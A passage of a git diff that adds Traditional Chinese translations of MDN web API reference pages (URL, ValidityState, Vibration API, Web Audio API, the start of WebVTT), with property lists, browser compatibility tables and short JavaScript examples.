+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8 [1]<br>
+    {{CompatChrome(23)}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(6)}} [1]<br>
+    {{CompatSafari(7)}}</td>
+  </tr>
+  <tr>
+   <td>In a {{ domxref("Worker", "Web Worker") }}</td>
+   <td>10 [1]<br>
+    {{CompatChrome(23)}}</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>{{CompatIE(11)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(6)}} [1]<br>
+    {{CompatSafari(7)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>18 [1]</td>
+   <td>4.0 [1]</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(15)}} [1]</td>
+   <td>6.0 [1]</td>
+  </tr>
+  <tr>
+   <td>In a {{ domxref("Worker", "Web Worker") }}</td>
+   <td>18 [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(15)}} [1]</td>
+   <td>6.0 [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  在該瀏覽器中必須使用 <code>webkitURL 而非 <a href="/en-US/docs/Web/API/URL">URL</a></code></p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/url/index.html b/files/zh-tw/web/api/url/index.html
new file mode 100644
index 0000000000..0a7fdb670b
--- /dev/null
+++ b/files/zh-tw/web/api/url/index.html
@@ -0,0 +1,212 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - Experimental
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/URL
+---
+<div>{{ApiRef("URL API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>URL</code></strong> 介面提供了建立 <code>URL</code> 物件的靜態方法。</p>
+
+<p>使用尚未實作此物件的瀏覽器時，可以改用 {{domxref("Window.URL")}} 屬性來呼叫（基於 Webkit 或 Blink 引擎的瀏覽器可使用 <code>Window.webkitURL</code>）。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("URL.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the whole URL.</dd>
+ <dt>{{domxref("URL.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("URL.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("URL.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("URL.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("URL.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("URL.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("URL.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("URL.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("URL.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("URL.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.searchParams")}}</dt>
+ <dd>Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "URL()")}}</dt>
+ <dd>Creates and return a <code>URL</code> object composed from the given parameters.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>The <code>URL</code> interface implements methods defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="靜態方法">靜態方法</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing a unique blob URL, that is a URL with <code>blob:</code> as its scheme, followed by an opaque string uniquely identifying the object in the browser.</dd>
+ <dt>{{domxref("URL.revokeObjectURL()")}}</dt>
+ <dd>Revokes an object URL previously created using {{domxref("URL.createObjectURL()")}}.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Added the static methods <code>URL.createObjectURL()</code> and <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'Node')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition (implements <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1][3]</sup><br>
+    {{CompatGeckoDesktop("19.0")}}</td>
+   <td>10.0</td>
+   <td>15.0<sup>[2]</sup><br>
+    19</td>
+   <td>6.0<sup>[2]</sup><br>
+    7.0</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>36</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4<sup>[2]</sup><br>
+    4.4</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>{{CompatGeckoMobile("14.0")}}<sup>[1][3]</sup><br>
+    {{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>4.4</td>
+   <td>32</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Gecko 2 (Firefox 4) to Gecko 18 included, Gecko supported this interface with the non-standard <code>nsIDOMMozURLProperty</code> internal type. As the only to access such an object was through {{domxref("window.URL")}}, in practice, this didn't make any difference.</p>
+
+<p>[2] This feature is implemented under the non-standard name <code>webkitURL</code>.</p>
+
+<p>[3] For Firefox, to use from chrome code, JSM and Bootstrap scope, you have to import it like this:</p>
+
+<pre class="brush: js">Cu.importGlobalProperties(['URL']);
+</pre>
+
+<p><code>URL</code> is available in Worker scopes.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Property allowing to get such an object: {{domxref("Window.URL")}}.</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/validitystate/index.html b/files/zh-tw/web/api/validitystate/index.html
new file mode 100644
index 0000000000..8cd2bdd738
--- /dev/null
+++ b/files/zh-tw/web/api/validitystate/index.html
@@ -0,0 +1,145 @@
+---
+title: ValidityState
+slug: Web/API/ValidityState
+translation_of: Web/API/ValidityState
+---
+<div>{{APIRef("HTML DOM")}} {{gecko_minversion_header("2.0")}}</div>
+
+<p><strong><code>ValidityState</code></strong> 介面表示了一個元素目前在其檢核條件下驗證的<em>正確性狀態（validity states）</em>。同時，它們也可以協助解釋元素值檢核失敗的原因，如果元素值為不合法的。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p>For each of these Boolean properties, a value of <code>true</code> indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is <code>true</code> if the element's value obeys all constraints.</p>
+
+<dl>
+ <dt>{{domxref("ValidityState.badInput")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the user has provided input that the browser is unable to convert.</dd>
+ <dt>{{domxref("ValidityState.customError")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the element's custom validity message has been set to a non-empty string by calling the element's <code>setCustomValidity()</code> method.</dd>
+ <dt>{{domxref("ValidityState.patternMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value does not match the specified {{htmlattrxref("pattern", "input")}}.</dd>
+ <dt>{{domxref("ValidityState.rangeOverflow")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value is greater than the maximum specified by the {{htmlattrxref("max", "input")}} attribute.</dd>
+ <dt>{{domxref("ValidityState.rangeUnderflow")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value is less than the minimum specified by the {{htmlattrxref("min", "input")}} attribute.</dd>
+ <dt>{{domxref("ValidityState.stepMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value does not fit the rules determined by the {{htmlattrxref("step", "input")}} attribute (that is, it's not evenly divisible by the step value).</dd>
+ <dt>{{domxref("ValidityState.tooLong")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value exceeds the specified <code>maxlength</code> for {{domxref("HTMLInputElement")}} or {{domxref("HTMLTextAreaElement")}} objects. <em><strong>Note:</strong> This will never be <code>true</code> in Gecko, because elements' values are prevented from being longer than <code>maxlength</code>.</em></dd>
+ <dt>{{domxref("ValidityState.tooShort")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value fails to meet the specified <code>minlength</code> for {{domxref("HTMLInputElement")}} or {{domxref("HTMLTextAreaElement")}} objects.</dd>
+ <dt>{{domxref("ValidityState.typeMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the value is not in the required syntax (when {{htmlattrxref("type", "input")}} is <code>email</code> or <code>url</code>).</dd>
+ <dt>{{domxref("ValidityState.valid")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the element meets all constraint validations, and is therefore considered to be valid.</dd>
+ <dt>{{domxref("ValidityState.valueMissing")}} {{ReadOnlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating the element has a {{htmlattrxref("required", "input")}} attribute, but no value.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'forms.html#the-constraint-validation-api', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Live Standard</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', '#the-constraint-validation-api', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from the previous snapshot {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'forms.html#the-constraint-validation-api', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>10</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0.3</td>
+  </tr>
+  <tr>
+   <td><code>badInput</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>badIndput</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Constraint validation</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/Data_form_validation">Forms: Data form validation</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/vibration_api/index.html b/files/zh-tw/web/api/vibration_api/index.html
new file mode 100644
index 0000000000..115020dbda
--- /dev/null
+++ b/files/zh-tw/web/api/vibration_api/index.html
@@ -0,0 +1,113 @@
+---
+title: Vibration API
+slug: Web/API/Vibration_API
+translation_of: Web/API/Vibration_API
+---
+<p>{{DefaultAPISidebar("Vibration API")}}</p>
+
+<p>目前大多數的行動裝置均具備振動硬體以搖晃裝置，讓軟體程式碼能對使用者產生實際反饋。<strong>Vibration API</strong> 即可讓 Web Apps 存取振動硬體。當然，若裝置並未支援振動硬體，就不會產生任何效果。</p>
+
+<h2 id="振動說明">振動說明</h2>
+
+<p>振動即如「on-off」脈衝的形式，且持續時間亦有不同的變化。可透過單一整數讓振動持續數個毫秒 (ms)；或可由多個整數組成陣列，達到振動與暫停交錯的振動形式。只要單一 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.vibrate" title="/en-US/docs/Web/API/window.navigator.vibrate"><code>window.navigator.vibrate()</code></a> 函式即可控制振動。</p>
+
+<h3 id="單次振動">單次振動</h3>
+
+<p>你可指定單一數值，或用單一數值構成 1 組陣列，讓振動硬體動作 1 次：</p>
+
+<pre class="brush:js">window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+</pre>
+
+<p>上列 2 個範例均可使裝置振動達 200 ms。</p>
+
+<h3 id="振動形式">振動形式</h3>
+
+<p>用數值構成陣列，敘述裝置在一段期間內振動與停止振動的情形。陣列中的所有值均轉換為整數，接著直譯 (Interprete) 成裝置振動與停止振動的毫秒數。範例如下：</p>
+
+<pre class="brush: js">window.navigator.vibrate([200, 100, 200]);
+</pre>
+
+<p>根據此陣列，裝置將振動 200 ms、暫停 100 ms，再振動 200 ms。</p>
+
+<p>你可照自己喜好而指定多組振動/暫停的變化，且輸入項的數量為奇數或偶數均可。由於振動將在每個振動期間結束時停止，所以不一定要提供暫停數值作為最後 1 組輸入項。</p>
+
+<h3 id="取消目前振動">取消目前振動</h3>
+
+<p><code>在</code> <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.vibrate" title="/en-US/docs/Web/API/window.navigator.vibrate"><code>window.navigator.vibrate()</code></a><code> 的值為「0」、空白陣列，或陣列全為「0」時呼叫此函式，即可取消目前執行中的振動作業。</code></p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}<br>
+    16 (no prefix)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="另可參閱">另可參閱</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.vibrate()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/web_audio_api/index.html b/files/zh-tw/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..f2eef8f535
--- /dev/null
+++ b/files/zh-tw/web/api/web_audio_api/index.html
@@ -0,0 +1,119 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<p>{{SeeCompatTable}}</p>
+<p><img alt="Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs." src="https://mdn.mozillademos.org/files/5183/WebAudioGenerics.png" style="width: 338px; height: 349px; float: left;"><strong>Web Audio API</strong> 可於 Web App 或網頁上操作並播放音訊檔案。</p>
+<p>Web Audio API 是根據模組化路由 (Modular routing) 的概念所設計。所謂的模組化路由，即是以<strong>「音訊節點</strong><strong> (Audio nodes)</strong><strong>」</strong>執行基本的音訊作業<strong>，</strong>節點又互相連接而構成「音訊路由圖 (Audio routing graphs)」。在同一環境 (Audio context) 內，又可支援數個音源與多樣的聲道配置。此模組化設計可提供更高的靈活度，並能建立複雜的音訊函式與動態效果。</p>
+<p>音訊節點均透過其輸出與輸入而相互連結。各個輸入/輸出均具備數個<strong>聲道</strong><strong> (Channel)</strong><strong>，以構成特定的音訊配置。但目前已可支援單聲道、立體聲、四聲道、</strong>5.1 聲道等配置，並支援其他的離散配置。</p>
+<p>音訊有多種來源。可能由特定的音訊節點 (如震盪器、自訂函式，甚或簡易的資料陣列) 直接在 JavaScript 中產生。音源除了可連至 HTML 媒體元素 (如 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video" title="The HTML &lt;video> element is used to embed video content in an HTML or XHTML document."><code>&lt;video&gt;</code></a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio" title="The HTML &lt;audio> element is used to represents sound content in documents. Added as part of HTML5, it may contain several audio sources, represented using the src attribute or the &lt;source> element; the browser will choose the most suitable one. Fallback c"><code>&lt;audio&gt;</code></a>)，亦可能來自於 <a href="https://developer.mozilla.org/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> 的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream" title="The MediaStream interface represents a stream of media content. A stream consists of several tracks, like video or audio tracks."><code>MediaStream</code></a> (本端裝置的相機或遠方電腦)。</p>
+<p>特定音訊事件發生的時間點，均達到極高的精確度與極低的潛時，因此亦可用以詳細定義鼓類機器或音序器 (Sequencer) 所需的事件。</p>
+<p>Web Audio API 亦可控制音訊的空間定位 (Spatialized) 作業：透過 source-listener 模型架構的系統，進而控制所要使用的左右相位 (Panning<em>，</em>聲音放置於左右喇叭之間形成的立體音場中，以產生出空間感) 模<em>型</em>，進而自動處理因距離遠近所產生的衰減，或是由於音源/聽者移動所發生的都卜勒移頻 (Doppler shift)。</p>
+<h2 id="參考">參考</h2>
+<div class="index">
+ <ul>
+  <li>{{domxref("AnalyserNode")}}</li>
+  <li>{{domxref("AudioBuffer")}}</li>
+  <li>{{domxref("AudioBufferSourceNode")}}</li>
+  <li>{{domxref("AudioContext")}}</li>
+  <li>{{domxref("AudioDestinationNode")}}</li>
+  <li>{{domxref("AudioListener")}}</li>
+  <li>{{domxref("AudioNode")}}</li>
+  <li>{{domxref("AudioParam")}}</li>
+  <li>{{event("audioprocess")}} (event)</li>
+  <li>{{domxref("AudioProcessingEvent")}}</li>
+  <li>{{domxref("BiquadFilterNode")}}</li>
+  <li>{{domxref("ChannelMergerNode")}}</li>
+  <li>{{domxref("ChannelSplitterNode")}}</li>
+  <li>{{event("complete")}} (event)</li>
+  <li>{{domxref("ConvolverNode")}}</li>
+  <li>{{domxref("DelayNode")}}</li>
+  <li>{{domxref("DynamicsCompressorNode")}}</li>
+  <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+  <li>{{domxref("GainNode")}}</li>
+  <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+  <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+  <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+  <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+  <li>{{domxref("OfflineAudioContext")}}</li>
+  <li>{{domxref("OscillatorNode")}}</li>
+  <li>{{domxref("PannerNode")}}</li>
+  <li>{{domxref("ScriptProcessorNode")}}</li>
+  <li>{{domxref("WaveShaperNode")}}</li>
+  <li> </li>
+ </ul>
+</div>
+<h2 id="線上教學">線上教學</h2>
+<ul>
+ <li>使用 Web Audio API</li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/intro/" title="http://www.html5rocks.com/tutorials/webaudio/intro/">Getting Started with the Web Audio API</a> (僅說明 WebKit-only 的非標準建置)</li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">混合定位音訊 (Positional Audio) 與 WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">以 Web Audio API 開發遊戲音訊</a></li>
+ <li><a href="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">將 webkitAudioContext 程式碼移植為標準的 AudioContext</a></li>
+</ul>
+<h2 id="規格">規格</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>14 {{property_prefix("webkit")}}</td>
+    <td>23</td>
+    <td>{{CompatNo}}</td>
+    <td>15 {{property_prefix("webkit")}}</td>
+    <td>6 {{property_prefix("webkit")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatNo}}</td>
+    <td>28 {{property_prefix("webkit")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>6 {{property_prefix("webkit")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/api/web_video_text_tracks_format/index.html b/files/zh-tw/web/api/web_video_text_tracks_format/index.html
new file mode 100644
index 0000000000..e565d2d129
--- /dev/null
+++ b/files/zh-tw/web/api/web_video_text_tracks_format/index.html
@@ -0,0 +1,691 @@
+---
+title: WebVTT
+slug: Web/API/Web_Video_Text_Tracks_Format
+translation_of: Web/API/WebVTT_API
+---
+<p>WebVTT 是一種 UTF-8 編碼的文字檔案格式，可藉由 {{ HTMLElement("track") }} 元素顯示加註時間資訊之文字軌，其主要設計目的是為 {{ HTMLElement("video") }} 顯示字幕。</p>
+
+<p>WebVTT 當中可以採用空白或分隔字元（tab）。</p>
+
+<p>WebVTT 的 MIME Type 為 <code>text/vtt</code>。</p>
+
+<p> </p>
+
+<h2 id="WebVTT_文本">WebVTT 文本</h2>
+
+<p>WebVTT 檔的結構中，有兩項必備資訊、四項選用資訊。</p>
+
+<ul>
+ <li>選用：byte order mark (BOM)</li>
+ <li>字串 <code>WEBVTT</code></li>
+ <li>選用：於 <code>WEBVTT</code> 右側可加上文字標題
+  <ul>
+   <li>在 <code>WEBVTT</code> 之後至少要有一個空白字元</li>
+   <li>可以藉此為檔案加上描述</li>
+   <li>除了換行字元及<code>「--&gt;</code>」字串外，可以是任何文字</li>
+  </ul>
+ </li>
+ <li>一個空白行，由兩個連續的換行字元構成。</li>
+ <li>選用：一個以上的時間節點（cue）或註解</li>
+ <li>選用：一個以上的空白行</li>
+</ul>
+
